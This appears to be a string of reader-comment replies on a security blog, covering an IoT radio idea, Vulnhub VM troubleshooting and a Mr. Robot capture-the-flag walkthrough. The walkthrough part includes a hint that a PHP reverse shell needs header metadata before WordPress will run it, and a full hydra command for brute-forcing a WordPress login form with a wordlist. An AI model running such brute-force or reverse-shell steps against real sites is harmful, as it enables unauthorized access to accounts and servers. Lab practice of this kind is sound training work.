“Any sufficiently advanced technology is indistinguishable from magic.” — Arthur C. Clarke.
Hi — interesting idea on the second radio channel, but doesn’t this just perpetuate the initial problem — that of insecure implementation of comms — rather than solve it?
If I, a low-cost, high-volume IoT device manufacturer, cannot or will not implement the correct security controls on my primary radio, why would I a) add a…
Hi — to the best of my memory:
In the previous clue, I’d been given: \amagicbridgeappearsatthechasm as my URI and was told that I needed a magical item to protect me.
From there I scraped the Wikipedia page and collected a list of terms to use.
Are you using VirtualBox for your hypervisor? What’s the full error message?
Are you getting the error when booting the Vulnhub VM only, or all VMs?
Have you verified the download from Vulnhub using the SHA1 hash given?
Upon review of this for a walkthrough, it turns out that I’d not recorded the detail of what I actually had to do here to make this work.
The script itself is a perfectly functional php reverse shell, but Wordpress won’t access it unless you add some meta-data to its header.
So this is how I was supposed to find this thing. I was fortunate in that when I was moving the index.html file to /var/www/ to restore the site, I spotted the oddly-named parent folder (with the leet ‘0’ in the name).
Thanks to mr.roboto.megaplex for this code:
hydra -v -l elliot -P /tmp/fsocity.dic 192.168.X.X http-form-post “/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location” -f -t 64
I haven’t tested it, but it should work.